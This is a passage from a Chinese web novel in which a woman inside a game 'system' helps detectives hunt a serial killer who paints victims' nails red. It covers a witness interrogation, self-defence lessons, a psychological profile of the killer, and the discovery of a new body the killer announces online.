熟悉的画面逐一掠过眼前,交错的呼吸、温暖的
怀抱、克制又隐忍的呢喃……
剧情回顾还没看完,她就果断摁下退出键,用被子蒙住脑袋,试图抑制住胸腔里狂跳的心脏。
想了想,还是不死心,抱着一丝侥幸心理唤出系统,问道:“剧情回顾能看到梦里的画面吗?”
系统的回答无情地击碎了她最后的希望:“抱歉,宿主,剧情回顾只能看到已经发生的事,无法回顾梦境。”
无法回顾梦境?难道说,那天晚上一切是真实发生的?
程述所有的举动和说过的话是真的,她下意识的回应也是真的。
“那……那假如,我是说假如……”祝好懊恼地捶了捶自己的脑袋,艰难地问出口:“我不小心强吻了不可攻略对象,会不会发生什么严重的后果?”
系统似乎也被她难住了,cpu运转了好一会儿才回答:“游戏里的角色都有自己的意识,剧情也早就已经偏离了我们的设定,所以我们既无法左右角色的想法,也无法预料可能产生的后果。”
顿了顿,它又说:“不过,您跟几位可攻略对象的好感度都已经很高了,只要完成剧情任务,再把好感度提升到满级,您就可以回到现实世界了。”
它的机械音冰冷而无情,祝好的心不为人知地沉了一下:“那如果……如果我选择留下呢?”
系统不可置信地向她确认:“您是说,你想留在游戏中?”
祝好叹了口气,陷入了沉默。
等不到她的回应,系统自顾自回答:“不论是离开还是留下,我都完全尊重您的选择,但剧情任务不会停止,我必须提醒您,只要您还留在游戏一天,就会面临着现实世界中不会遇到的凶险。我们无法向您提供回档功能,您只能尽力保证自己的安全。”
祝好没好气:“多谢提醒,不过我怎么记得每次凶险都是拜您所赐?”
系统自知理亏,缄口不再言语。
关掉系统,祝好躺在床上望着天花板发呆。
今天起得那么早,又跑了五公里,身体已经十分疲惫了。按理来说她应该睡得很香才对,可现在脑袋里如同塞进了一团乱麻,搅得她困意全无。
翻来覆去好一会儿,她做足了心理准备,又一次鼓起勇气点开了那段剧情回顾,并摁下了快进。
最后的视线中,她一把揽住程述的脖子,将他整个人拉向自己,随后眼睛一闭,靠在他肩上沉沉睡了过去。
祝好:……
她松了口气,还好在最后关头睡着了,强吻没有成功。
但不知怎么的,庆幸过后,心头又冒起一丝遗憾:如果当时她强打精神,再多保持几秒钟的清醒,是不是就……
*
“昨天痕检科在其中一间废弃的居民房里发现了轻微的挣扎和拖拽痕迹,凶手在把夏嫣勒晕后,应该是先把她拖到了那儿,捆住她的手脚,趁着没人的时候才把她带到其他地方杀害的。”
“另外,我们在屋外发现了一枚鞋印,经过比对,与五年前指甲油杀手案中发现的那半枚鞋印出自同一款雨鞋,尺码也相同,甚至磨损的地方也一样,由此可以判断,这起案子与过去二十四年间连续出现的、以女性为目标的连环杀人案是同一个凶手。”
“喂。”
眼前晃过一只手掌,祝好茫然地啊了一声,才发现程述手肘支在会议室的桌面上,手撑着脑袋,正皱着眉打量她:“想什么呢?一早上都在发呆。”
祝好猛地回过神,慌忙搪塞道:“没、没什么。”
随后又赶紧把心思拉回案子上,看向屏幕上那张鞋印的照片,低声问程述:“老大,你不是说指甲油杀手很谨慎吗?为什么还会在现场留下鞋印?”
程述顺着她的话音思索了一阵:“我倒觉得他是故意的。”
说着从秦聿风手里拿过激光笔,在大屏幕上的鞋印旁边画了个圈,说道:“周围都有打扫过的痕迹,却唯独留下一枚鞋印,我觉得,他这很明显是在向警方挑衅。”
有警员问:“挑衅什么?”
程述眼睛一眯,说道:“五年前,我仓促间留下了半枚血脚印,你们抓不到我。现在我重新出现,就算给你们留下一枚完整的鞋印,你们也一样抓不到我。”
话音刚落,会议室里立刻响起一片充斥着愤怒和不甘的讨论声。愤怒是因为指甲油杀手的态度实在太过嚣张,而不甘,则是因为这起案子调查到现在,并没有太多实质性的进展。
甚至就算指甲油杀手留下了鞋印,他们也同五年前一样拿他没有办法。
祝好稍一思索,又问:“指甲油杀手之前也是这样把受害者勒晕,带到别处杀害,再换新的地方抛尸吗?”
程述:“对,根据我们之前的推测,他一直有一个固定的地方用来行凶,那个地方能让他感到十分安全,同时可能对他有某种重要的意义。”
祝好想了想,翻看尸检报告看了一眼:“夏嫣的死亡时间是凌晨一点钟左右,和抛尸时间相隔大约有两个小时,用这两个时间点和抛尸地点做对比,能推测出他行凶的大概位置吗?”
秦聿风无奈地摇了摇头:“除去他杀人后处理现场、搬运和摆放尸体的时间,两个地方或许相隔半个小时到一个小时的车程。这个时间,车一般能开几十甚至上百公里,范围太广了。”
众人又是一阵交头接耳。
程述问:“陶斯然那小子有没有提供什么新的线索?”
“没有。”秦聿风说:“他的说辞跟在员工休息室说的差不多,我们也查过了餐厅门口和他说的那家酒吧的监控,经过对比,与他交代的时间线基本一致。”
说着他打开了大屏幕上的监控录像。
晚上十一点十五分左右,陶斯然出现在画面中,虽然画面不算清晰,但仍能看到他嘴里嘟囔着什么。
从时间上推测,这时他才刚被夏嫣一顿臭骂,悻悻地返回了餐厅,坐在台阶上抽了一支烟,整个过程大概五分钟左右。
五分钟后,他再次起身,朝那条小路的方向走去。
又过了大约四十分钟,他的背影突然急匆匆从画面中闪过,跨上停在餐厅门口的摩托车,一溜烟离开了。
秦聿风又点到下一个视频,那是餐厅附近的一家廉价酒吧,陶斯然停下摩托车后径直进了店里,直到两个小时后才醉醺醺地出来,骑上摩托车回家了。
酒吧员工也证实了他当天晚上的确一直在酒吧里喝酒,也就是说,他有着充分的不在场证明。
然而祝好看完了视频,却还是觉得有些不对劲,总觉得少了些什么。她随手翻了翻人手一份的文件袋里的照片,找到了陶斯然捡到的那只帆布包,看着包上的被雨水浸泡淋湿的痕迹思忖片刻,突然说:“不对,陶斯然好像没有完全说实话。”
第187章
一时间,会议室里所有人的目光纷纷转向她,秦聿风放下手里的遥控器,皱着眉问道:“祝好,你发现什么了吗?”
在没有十足的把握之前,祝好并未马上回答,而是问他:“可以把陶斯然第二次回到餐馆那段视频再放一下吗?”
秦聿风没说话,依言又一次点开那段监控视频。
祝好向前倾身,一瞬不瞬看着屏幕。
视频里陶斯然佝偻着身子,脚步慌促,频频回头向身后看去,似乎在提防着什么。他径直走向自己的摩托车,没有丝毫犹豫就扭动油门,很快消失在画面中。
视频结束,秦聿风摁下暂停键,向祝好头去探寻的目光,但没有出声催促。
祝好琢磨了一会儿,说道:“按照陶斯然的说法,他折返回去找夏嫣时并没有见到她人,于是给她打了电话,顺着铃声在路边捡到了她的包,可为什么视频中他并没有背着那个帆布包?”
有警员提出:“视频只拍到了他的背影,有可能他把帆布包抱在怀里了呢?”
程述几乎是立刻就否定了警员的看法:“如果把包揣在怀里,那么他启动摩托之前一定会先把包放进储物箱,可他开车的动作一气呵成,并没有任何停顿。”
祝好对着手里的照片略一思索,又问:“包里的东西可以给我看一下吗?”
秦聿风朝近处的警员使了个眼色,警员点点头离开了会议室,不一会儿就带着一只小纸箱回来了,里面放的正是被分别装进几个证物袋里的帆布包和包里零散的物件。包上有明显的湿润的泥灰色污渍,似乎是被雨水冲刷过,又沾上不少尘土。
祝好这才开口:“监控显示,从夏嫣下班离开餐馆到陶斯然第二次返回,期间并没有下雨,可包上却有很明显的污泥和水渍,包里的纸巾也有被水泡过的痕迹,说明帆布包是在下雨之后才被捡走的。”
技术员小孙也证实了祝好的推测:“秦队,我查过了,那天晚上餐馆附近这片区域一直都是阴天,从凌晨一点左右才开始有降雨。”
秦聿风怔了怔,有些疑惑:“可陶斯然离开后的确在酒吧里呆了两个钟头,根据推测,夏嫣那个时候就已经遇害了。”
祝好轻轻摇了摇头:“夏嫣不是他杀的,但我猜……他说不定看到了什么,只是出于害怕或者其他原因,故意向警方隐瞒了事实。”
说完又转头问技术员:“夏嫣的手机密码破解了吗?”
技术员点点头,把装在证物袋里的手机递给她。
祝好点开屏幕查看了一会儿,发现陶斯然11点32分的确给夏嫣的手机打过电话,但夏嫣的手机是静音状态,他根本不可能听到铃声,更不可能如他自己所说的‘顺着铃声捡到包’。
听完她的分析,秦聿风弯着眉眼朝她微微一颔首,表示了认同,然后吩咐身旁的警员:“去把陶斯然带回来。”
*
陶斯然第二次被带回警局,仍是像只鹌鹑一样缩在椅子里,只是眼神中的胆怯更甚,放在桌面上的双手十指交叉攥得死紧。
警员低声在秦聿风耳边汇报:“秦队,这小子果然心里有鬼,我们找到他时,他已经买好离开淮江市的车票了。”
秦聿风点点头,走进审讯室里坐下,并没有马上说话,自顾自翻看手里的文件,仿佛当面前的陶斯然是空气一般。
等了好一会儿,陶斯然终于沉不住气,率先开口说道:“警察同志,我知道的都说了,你们还抓我干什么?”
“不是抓你,只是请你来配合调查。”秦聿风终于抬起头,合上手里的文件,冲他和颜悦色地笑了笑:“听说你从餐厅辞职了,准备去哪儿?”
陶斯然讷讷地回答:“回老
家。”
“怎么那么着急?”
秦聿风平易近人的态度让他放松了些许,解释道:“我、我给我表叔添了太多麻烦,实在不好意思再待下去了,所以就……”
秦聿风恍然大悟地哦了一声,半开玩笑半认真地说了句:“原来是这样啊,我还以为你犯事儿了要跑路呢。”
听到“跑路”两个字,陶斯然连忙辩解:“没有,我没有犯事儿。”
秦聿风温和地笑了笑:“是吗?那你应该也没有知情不报吧?”
陶斯然与案情毫无利害关系,就算他真的看到了什么却选择知情不报,并不算违法犯罪。
然而他在接受警方的询问和调查时隐瞒了事实,那就需要负行政责任甚至是法律责任了。
陶斯然的文化水平不高,胆子更是比花生米还小,这看似随意的一问就令他浑身一颤,脸色唰地变得煞白:“什、什么意思?”
秦聿风把那个用证物袋装着的帆布包放在桌面上:“那天晚上直到凌晨一点钟才开始下雨,而当时你已经在酒吧里喝酒了,那么你捡到的帆布包上为什么会有泥水的污渍?”
没等陶斯然回到,他又稍稍拔高了声调:“陶斯然,我再问你一次,你真的没有知情不报吗?”
这个问题似乎触动了陶斯然敏感的神经,他眼角微微抽动,脸上的惶恐和不安交织着,却还是没有开口,似乎是在斟酌着警方到底掌握了多少证据。
审讯室的门忽然被敲响,技术员走进来在秦聿风耳边低语了几句,并把手中的平板递给他。
秦聿风嘴角微不可察地勾起,把平板的屏幕转向陶斯然:“这是当晚你从酒吧离开后交通监控拍到的视频,你并没有往家的方向走,而是返回了餐厅,你去干什么了?”
陶斯然猛地皱起双眉,藏在眼底的惊惶登时被放大,本就攥紧的双手此时更是青筋暴起。挣扎了好一会儿,他终于深吸一口气,喃喃道:“对不起,我对不起夏嫣……我说慌了……”
秦聿风静静地看着他:“你现在还有机会说实话。”
陶斯然又沉默了片刻,才把那天晚上的事原原本本道出来。
他跟夏嫣做了一年多的同事,一直对她抱有好感,也向她表白过,但夏嫣很明确地表示自己并不喜欢他。
那天晚上下班前他看了天气预报,听说可能会下雨,便一路追着夏嫣走,提出请她去自己家里坐坐。夏嫣当然知道他没安好心,非但没同意,还把他骂了个狗血淋头。
他怏怏地回到餐厅前面抽完一支烟,越想越气恼,打算去夏嫣家找她说清楚。
可当他沿着小路走出一段后,却听到前方有不寻常的声响,赶紧下意识躲进一个拐角处,偷偷探出脑袋观察。
说到这里,他紧张地咽了下口水。
秦聿风追问:“你看到什么了?”
陶斯然的脑门上冒出细密的汗珠,声音有些发颤:“我看到一个人抱着夏嫣离开,夏嫣不知道是死了还是晕过去了,整个人软趴趴的,一点反应都没有。”
秦聿风面色一凛:“你不是喜欢夏嫣吗?为什么没有上前阻止他、也没有报警?”
陶斯然脸上的肌肉不自然地抽搐,眼睛里满是血丝:“我当时实在太害怕了,吓得腿都软了,大脑也一片空白,完全没办法动弹,只能看着他眼睁睁把夏嫣带走……”
他艰难地抽了口气:“后来我在酒吧里喝了几杯酒,酒精上头了,才壮着胆子返回去,可夏嫣和那个人早就不见了,我只在路边捡到了她的包。”
秦聿风呵斥道:“昨天为什么不说实话?”
陶斯然紧闭双眼,全身颤抖:“酒醒之后我本来想过报警,但是第二天就听说夏嫣死了,凶手可能是消失了好几年的一个连环杀手,我就更害怕了,怕警方怀疑我,也怕那个杀人犯知道后会回来找我报复。”
说到这里,他终于绷不住情绪,捂着脸大哭起来:“我对不起夏嫣,我就是个懦夫……”
虽然他声泪俱下,口中满是忏悔之词,但祝好对他一点儿也同情不起来。
根据指甲油杀手的作案习惯推断,当时夏嫣只是昏过去了,如果陶斯然能挺身而出,夏嫣有很大几率获救。
可他却因为自私和懦弱,只是眼睁睁看着指甲油杀手将夏嫣带走,事后不仅不报警,甚至还向警方隐瞒了自己曾见过指甲油杀手的事实。
秦聿风一手扶额叹了口气,问道:“你看到把夏嫣带走的那个人长什么样了吗?”
陶斯然啜泣着摇了摇头:“没有,当时天太黑了,我没看清他的长相。”
“身高、身材和打扮呢?”
陶斯然垂着脑袋努力回忆了许久:“他穿着一件黑色的雨衣,身材中等,不胖不瘦,身高……可能比我高一点点,大概一米七往上,不到一米八。”
从指甲油杀手留下的那枚鞋印,可以推断出他身高一米七五左右,体重70公斤,身型跟陶斯然描述的那个把夏嫣带走的人十分相似。
而能抱着一个昏迷中的成年女性离开,也说明他体力不逊当年。
虽然陶斯然没有看清指甲油杀手的长相,但至少能确定他的身高和身形,也知道了他大概是从哪个方向范围离开的,如此一来,也能把调查的范围缩小一圈。
从审讯室出来,秦聿风轻轻拍了拍祝好的肩膀,夸赞道:“祝好,你做
得很棒。”
系统响起提示音:“跟秦聿风的好感度+5,获得50积分!”
往常跟可攻略对象的好感度提升时祝好都只顾着高兴了,根本没想别的。可这回她不但高兴不起来,还莫名有些心虚,垂下眼帘避开了秦聿风灼灼的目光。
第188章
淅淅沥沥的春雨下了一整夜,祝好睡前一直在祈祷雨千万别停,然而到了早上,房间门口还是准时响起了“笃笃”的敲击声。
她睁开眼睛,把窗帘掀开一条缝,透过窗玻璃看着从云层的罅隙中洒落的日光,无奈地叹了口气,应道:“行了行了,起来了。”
从程述的房间里出来,看着沙发上叠放整齐的被子,她有些不好意思——这些天忙着奔波,还没来得及收拾阁楼,程述就一直睡在沙发上。但沙发相对他的身高来说短了一大截,他躺在上面就要一直保持蜷着腿的姿势。
程述倒是无所谓,只催促她赶紧去洗漱,然后出门跑步。
雨后初霁,厚重的云层散去,暖金色的阳光柔和地洒下,澄蓝的天空中只剩下被春风揉碎的几缕云絮。
程述腿长、速度也快,每次祝好落后太多,他都会停在原地等她靠近,叮嘱她注意姿势和呼吸频率后才继续往前跑。
跑完两圈后,他调转方向,在路边的便利店里买了两瓶矿泉水,照例把其中一瓶拧开瓶盖的递给祝好。祝好正弯腰撑着膝盖休息,犹豫了一下,才接过他递来的水抿了几口。
自从确认了那天晚上的“梦”并不是梦之后,再跟程述单独相处时,她总觉得有些不自在。
她还能用剧情回顾重新回放发生过的事,那程述呢?他还记得那天晚上发生的事吗?
如果记得的话,他怎么能表现得跟个没事人一样?
他当时说出那些话时,是清醒着还是真的喝醉了?这家伙实在太难琢磨,就算他是清醒的,又怎么分辨那些话是肺腑之言还是在拿她取乐?
祝好正胡思乱想,就看他拧紧了矿泉水的瓶盖,朝着她扬了扬下巴:“休息时间结束了。”
祝好哦了一声,刚摆好姿势准备接着跑,却被他一把薅住了肩膀:“等等,今天先跑到这儿,接下来我教你一些基础的防身术。”
防身术?
听到这个,祝好来了兴趣,刚才那些乱七八糟的想法很快被她抛在脑后,朝程述投去探寻的目光:“可我听说网上那些什么女子防身术放在现实里其实很少能派上用场。”
毕竟男女力量悬殊,女性如果没有经过长期专业的训练,体能和力气是很难赢过男性的。
程述笑了笑,说:“没错,防身术对力量是有要求的,就算学会招式,没有力量支撑也是白搭。”
祝好认真地点点头:“懂了,那碰到坏人我直接躺平等死就行。”
程述不轻不重地往她后脑勺拍了一巴掌:“急什么,我还没说到重点呢。一般情况下,如果对方离你有一定距离,那么能跑就跑,保全性命才是最重要的。如果不得已发生了冲突,首先要保持镇定,千万别慌张,尝试找到对方的弱点,出其不意地进行攻击,再伺机逃跑。”
祝好把程述从头到脚打量了一遍,指了指他的裤/裆,试探性地问:“弱点……是这儿吗?”
程述低头朝她指的部位看了一眼,饶有兴致地挑了挑眉:“除了这儿,还有眼窝、面部三角区、脖子或喉结、锁骨窝、手指和小腿迎面骨等,这些部位生理结构比较脆弱,遭到攻击时会产生剧痛,从而争取逃跑的时间。至于怎么攻击,也是要讲技巧的。”
说着往后撤了两步,朝她勾了勾手:“现在你可以把我当做练习的目标,先试一试。”
祝好松了松手指关节,跃跃欲试:“真的吗?万一我把你弄伤了,你可不能找我要医药费。”
程述嗤笑一声,眼底带着几分戏谑:“你把我弄伤?当年我在警校可是——”
话刚说到一半,祝好就已经抬脚踹向她刚才目光锁定的部位。
程述瞳孔骤然一缩,惊出一身冷汗,侧身躲开了这一脚,并下意识抓住她的小腿。
祝好登时失去平衡,整个人向后一倒。就在她以为自己的后脑勺要跟地球表面来个亲密接触时,程述迅速反应过来,一条胳膊揽住了她的腰,将她稳稳扶住。
空气凝滞片刻,程述憋了好半天,才呼了口气:“我话都没说完,你怎么就动手了。”
祝好理直气壮:“不是你说要出其不意的吗?”
程述无言以对,顿了顿,说道:“……那也不至于一上来就要我断子绝孙吧?”
祝好有些心虚,但嘴上半点不输:“那下次我打脸?”
程述无奈地扶着额头叹了口气,一脸的“算了,不跟你计较”,说道:“你刚刚那个踹人的动作倒是挺标准的,不过下次别用脚尖瞄准目标,脚尖攻击的范围太小了,还可能让你自己失去重心,可以用脚踝内侧连接脚背那一块,面积大一些……”
他正絮絮叨叨,突然被手机铃声打断了。
他看了眼来电显示,眉头微微皱起,接起来道:“老秦,怎么了?”
秦聿风焦躁的声音从对面传出:“马上来局里一趟,出事了。”
没等他回应,电话就挂断了。
来到警局,程述和祝好径直来到技术队的办公室。
秦聿风和一众警员正聚在一台电脑的屏幕前,不知在低声讨论什么。
看到他们走进来,秦聿风招了招手:“老程,祝好,快过来。”
程述问:“怎么了?”
“淮江市某个论坛突然出现了一篇帖子,你们看看。”
警员们自觉给他们腾出空位,电脑屏幕上是一张截图,上面赫然是夏嫣那起案子的抛尸现场的照片,角度很端正。照片开了闪光灯,周围还是黑漆漆的一片,说明拍摄的时间是在晚上。
发帖的人网名叫NPK,除了照片之外,帖子还附上了一段文字:“太慢了。”
秦聿风说:“昨天半夜,这篇帖子突然出现在论坛上,早上技术部发现时已经联系网站删除了,可还是传遍了全网。”
距离夏嫣被害已经过去了整整五天,根据陶斯然的证词,警方大概判断出指甲油杀手当天晚上离开的方向,但那一带地形复杂,交错纵横的小路和巷子四通八达,每个出口都能通向不同的大路。想要从附近的交通监控中找到疑似指甲油杀手的车也并不是一件简单的事,需要耗费大量精力和人力。
为了不引起民众的恐慌,警局里的高层讨论过后,决定暂时压下关于指甲油杀手重新出现这条爆炸性的新闻,只要求电视台提醒广大女性夜晚尽量不要独行。
网上虽然也出现了一些捕风捉影的“小道消息”,但都是经过各种“听说”“据说”和聊天记录截图的添油加醋,大部分人只当猎奇。
可从这张照片不论是拍摄角度还是拍摄时间,显然都不是出自普通市民之手。那个网名为NPK的发帖人,极有可能正是nailpolishkiller——指甲油杀手本人。
而帖子里的那句“太慢了”,正是对警察赤裸裸的嘲讽。
虽然知道没什么希望,但祝好还是问:“IP地址查了吗?”
技术员脸色不太好看,轻轻摇了摇头:“他应该是用了虚拟网络,根本定位不到。”
果然。
既然指甲油杀手敢在网上发帖,那就一定有办法隐藏自己的行踪。
按照程述之前对他的人像剖绘,他对公众注意力有着病理性的渴求,就连“指甲油杀手”这个名号,也是他当年在给电视台寄去的信件里为自己起的。
在他的想象中,自己的这次回归必然会引起轩然大波,然而新闻却被警方压了下来,他的“杰作”无法出现在大众视野中,这让他觉得自己被忽视了,从而感到异常愤怒。
于是他选择主动向警方发起挑衅,想要用自己的方式控制舆论,通过制造“猫鼠游戏”的互动框架,将自己塑造成凌驾于法律之上的掌控者,并以此嘲笑警方的无能。
春雨总是来得猝不及防,铅灰色的浊云层层叠叠,遮蔽了最后一丝天光,细密的雨丝交织成一张巨网,笼罩在天地间。
秦聿风就着窗外斜织的雨丝抽完了一支烟,关上了办公室的窗户,沉沉地叹了口气:“老程,你有什么头绪吗?”
“当年我们先发制人,这回他主动发帖,明显是想先占领主动权,显示自身的优越。”程述抱着双臂,靠在桌子边沿沉思片刻:“既然大家都在,那我顺便对指甲油杀手重新做一次心理剖绘吧。”
秦聿风道了声“好”,其他警员会意,纷纷拿起纸笔准备记录。
程述转头望向窗玻璃上蜿蜒的雨痕,似乎是在整理思绪,过了好一会儿才说:“凶手是一名男性,年龄在四十五岁至五十五岁之间,身高、体重都可以通过鞋印推断出来,我就不赘述了。他能独自袭击、控制一名成年女性,并将她搬到车上带离,说明他的身体素质很好,应该常年保持着锻炼身体的习惯。”
他的眼神有些虚焦,似乎一个活生生的形象正站在他面前。
“他长相
平平,放在人群中毫不起眼,话也不多,但并不代表他社交能力差,相反,他的智商和情商都在平均值以上。至少是高中以上文化,有固定工作,但工资不会太高。”
秦聿风插话:“固定工作这个范围太广了,能缩小一些吗?”
程述曲起手指,有节奏地敲打桌面:“从犯罪手法和抛尸现场来看,他更偏向于有组织力的作案人,从事的应该是技术性的工作,首先可以排除清洁工、农民或建筑工人这类体力劳动者。”
“其次,他需要花时间对受害人进行观察和跟踪,教师、科研人员、医生等职业的工作强度太大,会占用他的时间,因此也可以排除。”
“最后,他的社交能力虽然不差,但生活中会尽量保持低调,所以不会从事需要露面太多的工作,例如销售、服务员等。”
秦聿风问:“还有呢?”
程述思索了一阵,继续道:“他目前单身或离异,如果已经结婚的话,他跟妻子的感情并不好。”
有警员忍不住问:“怎么看出来的?”
程述:“他袭击、谋杀和抛尸的行为通常要花上一整夜,如果已经结婚或者跟妻子的感情很好,那他的妻子一定会对他的夜不归宿产生怀疑。不过也还有一个可能,就是他从事的工作经常需要出差或者上夜班。”
办公室里鸦雀无声,只有笔尖和纸摩擦产生的一片沙沙声。
过了一会儿,又一个警员举起手:“还有一个问题我一直想不明白,他到底为什么要给受害者涂上红色的指甲油?”
第189章
程述解释说:“这就涉及到犯罪心理学中的‘标记行为’,指的是犯罪者在实施犯罪时,为满足其情感或心理上的特殊需求而出现的行为模式。给受害者涂上红色指甲油就实施犯罪而言,属于没有必要的行为,只是为了满足他的某种心理需要。”
有人问:“什么样的心理需要?”
程述摸着下巴,目光有些放空:“在他的生命中,可能存在这样一位女性,这个人对他有着至关重要的影响——当然,不是正面影响,而是负面的影响,比如在他童年时期经常殴打、辱骂他,给他造成了不可磨灭的心理阴影,也因此让他对女性产生了一种病态迷恋却又极端仇恨的矛盾心理。”
“根据他对受害者的偏好来推断,这名女性应该留着长度差不多到肩膀的中长发、身高在一米六零至一米六五之间,身材匀称,并且喜欢涂红色的指甲油。目前发现的这些受害者都是那名女性的替代品,但并非每位受害者都有涂指甲油的习惯,所以给她们涂上指甲油后再将她们杀害,是完成他的幻想的一个重要组成部分。”
祝好问:“他将受害者的尸体摆成祈求的姿势,是不是也跟这个有关?”
程述点头:“没错。弗洛伊德认为,一个人无法讨论或记住过去的创伤事件,可能会导致他们强迫性地重复这些创伤。将受害者的尸体摆成祈求姿势,可能映射了他潜意识中试图掌控那名女性,同时也在重演过去的创伤。”
技术员听得入神,也举手提问:“我也有个疑问,为什么他在杀死受害者之前会先用刀反复刺伤她们?”
“有两种可能,首先,反复刺伤的行为可能映射了童年时期那名女性对他施加的语言或身体的伤害,如我刚才所说的辱骂和殴打,因此在面对这些受害者时,他表现出了无法控制的愤怒,并试图通过暴力实现‘以牙还牙’的报复。”
他话音顿了一下,又接着说:“另外,使用刀具杀人也可能是性无能的一种表现。刀是一种延伸权力的工具,与性行为一样需要与受害者近距离接触。我们的这位连环杀手先生很有可能有某些难言之隐,无法依靠自身对受害者进行侵犯,所以选择用刀来代替。”
秦聿风:“所以我们要找的指甲油杀手,是一个从事技术性工作、身体健康但心理变态的单身中年阳痿男?”
程述笑了笑:“总结得很到位。”
“那我们总不能找到淮江市所有身体健康的中年男人,然后过去问一句‘您是不是阳痿’吧?”秦聿风无奈:“程大侦探,再缩小点范围。”
程述略一思考,说道:“他有一辆车,大概率是一辆SUV,价格在二十万以内。车内整洁,后车厢很宽敞,方便他带走受害者及抛尸,外观……应该是黑色的,低调且在黑夜中不易被人发现。从他对地形的熟悉程度来看,他应该是淮江市本地人。”
“他上一次犯案之后五年多音信全无,一个连环杀手没被抓获却突然销声匿迹,这一点非常奇怪且不合常理。我之前一直觉得他也许是生了重病,但从他能独自完成绑架和抛尸这一点来看,这个推测可以排除了。他有可能在五年前因为某些事进了监狱或离开了淮江市,近期才刚刚回来。”
等了一会儿,发现他没再继续说下去,秦聿风问道:“没了?”
程述一耸肩:“犯罪心理剖绘只能通过分析犯罪模式、作案手法和标记行为,剖绘出犯罪者的可能特征,例如年龄、性别、职业、心理状态等,给调查提供方向,你还指望我能马上把凶手送到你面前啊?”
秦聿风用笔敲着下巴叹了口气:“这回指甲油杀手主动发帖,也是寻求关注的一种表现,你觉得……”
他调整了坐姿,不自在地轻咳了一声:“我们需要对他的挑衅做出回应吗?”
这句话似乎勾起了程述某些不好的回忆,他不着痕迹地抿了抿嘴,没有应声。过了好一会儿,才说:“他这回出现,明显比五年前更聪明,也更狡猾了。就算我们不做出回应,他也会很快自己冒出来。”
这句话几乎在下一秒就得到了应验,技术员突然惊呼一声,说道:“秦队,两分钟前那个NPK又在论坛上发帖了,不过网站管理员已经第一时间对帖子进行了删除处理,并把帖子内容发给我们了。”
秦聿风面色一沉,快步走到电脑屏幕前,祝好也赶紧凑上去。
屏幕上同样是一名摆出祈求姿势的年轻女性,她身上的衣服被鲜血染红,胸前插着一把匕首。从紧闭的双眼和苍白的脸色来看,她早已失去了生命体征。
照片的背景树木丛生,说明这回他弃尸的位置是一片荒无人烟的森林,但这个位置并不难找,因为指甲油杀手贴心地在帖子里附上了坐标——位于城郊的一片树林。
在场的所有警员都倒吸了一口凉气,每个人都明白,这是他的又一次挑衅。
*
十几辆警车呼啸而至,很快按照帖子上给出的坐标找到了新的受害者,并迅速在树林里拉起了警戒线。
这回的受害者同之前一样,年龄也都是二十多岁,留着齐肩的中长发,身上的针织毛衣已经被鲜血浸透。她涂着红色指甲油的双手同样被绑在十字样式的木架上,尸体摆放成祈求的姿势。
在她身旁,同样发现了上一名受害者夏嫣遇害时的拍立得照片。
之前指甲油杀手为了让警方早日发现自己的“杰作”,会把尸体放置在容易被人看到的地方,但这一行为同时也增加了他暴露自身的风险,对他来说无异于一枚定时炸弹。
五年后重新出现的他又变得更聪明了,先将尸体抛弃在人迹罕至之地,再通过网络将照片和地址公布出来,看警方被自己耍得团团转。降低自身风险的同时,又满足了他寻求关注和追求刺激的心理。
温珣跟法医助理将尸体手腕上的绳结剪下,小心翼翼地将受害者摆在事先铺好的塑料薄膜上,并对尸体进行了初步的尸检。
“死者身高一米六二左右,身上有多处刺创,创缘皮肤收缩明显,属于生
前伤。初步推断死亡时间大约在10到12小时之前,也就是昨天晚上凌晨12点到两点之间。致命伤同样是胸口这一刀造成的外伤性心脏破裂。”
秦聿风点点头,转头问旁边的警员:“有没有查到失踪人口报案?”
警员回答:“暂时没有符合条件的。”
按照指甲油杀手的习惯,在绑架受害者之后并不会留她们太久,很快就会对她们进行杀害。如果受害者的死亡时间是十二点到两点之间,那她很有是可能十一点左右被指甲油杀手带走的。
一名成年女性失踪一晚上,家人立刻报警的可能性并不大,更别提如果她是独居,那她的失踪被发现的几率就更小了。
程述蹲下身抓起受害者的手仔细观察了一阵,又放在鼻端下嗅了嗅,说道:“死者的手指关节粗大,掌心处有薄茧,指甲短圆且没有佩戴饰品,但手部皮肤很娇嫩,同时有淡淡的香气,她生前从事的可能是按摩或足浴一类的工作,如果暂时没有线索的话,可以从足浴店或者按摩店查起。”
秦聿风应了一声,起身对周围正在对现场进行勘验的一众警员们拍了拍手,吩咐道:“大家都仔细点,不要错过任何一个线索,所有可疑的脚印、血迹、指纹都不能放过。”
警员们有条不紊地在现场采集证据,祝好帮不上忙,只好在附近晃悠。
当她的目光掠过周围的树林时,那个小放大镜图标突然出现了,在她眼前一闪一闪的。
她心下一喜,刚要朝放大镜闪烁的位置走去,身后突然传来程述的声音:“鬼鬼祟祟干什么呢?”
祝好朝他做了个“嘘”的动作,压低声音说:“有隐藏线索,跟我来。”
程述下意识回头看了秦聿风一眼,确认他并没有朝这边看来之后才默不作声地点了点头,跟在她身后往一片灌木丛走去。
放大镜停留在一棵小灌木上,灌木的叶子是宽椭圆形的,茎上布满了褐色的硬刺,祝好仔细寻找,终于在其中一根刺上发现了十分细微的血迹。
她赶紧拍了拍程述:“老大,你看这儿。”
程述蹲下身认认真真地看了一会儿,又比划了一下,说道:“这种植物叫虎刺,刺很硬,如果夜晚经过时不注意的确很容易被划伤。如果这是隐藏线索,说不定是凶手留下的。”
说完小心地将那根沾有血迹的刺剪下来装进物证袋里,交给了秦聿风。
秦聿风把物证袋举在眼前看了半天,在祝好的提示下,才终于在那根褐色的刺尖上看到了那一点血迹。
他“嗬”了一声:“祝好,你的眼睛是显微镜吧?离那么近我还要老半天才看到,你是怎么发现的?”
祝好挠了挠头,正思考要如何解释,就听程述淡淡地笑了一下:“我不是说了吗?她的直觉很准,从来没错过。”
好在秦聿风也没再追问,把物证袋交给了法医助理。
祝好有些兴奋,如果指甲油杀手如程述所推测的那样可能进过监狱,一定会在系统中留下自己的DNA。这点血迹若真的属于他,那么只要一对比,马上就能知晓这位残忍的连环杀手的真实身份了。
警戒线外忽然传来一阵嘈杂声,一名警员匆匆走过来向秦聿风汇报:“秦队,外面突然来了好多媒体,都被我们拦住了。”
秦聿风闻言,双眉紧皱:“媒体?媒体怎么会来?”
第190章
警戒线外果然围满了各路媒体,一众扛着长枪大炮记者和拿着自拍杆的自媒体博主纷纷抻长脖子向里张望,现场混乱不堪。
警员刚呵斥完一个试图偷偷钻进警戒线的自媒体博主,转头看到秦聿风就跟看到救星似的,连忙喊了句“秦队”。
记者们闻风而动,纷纷把镜头转向秦聿风,快门声响成一片——
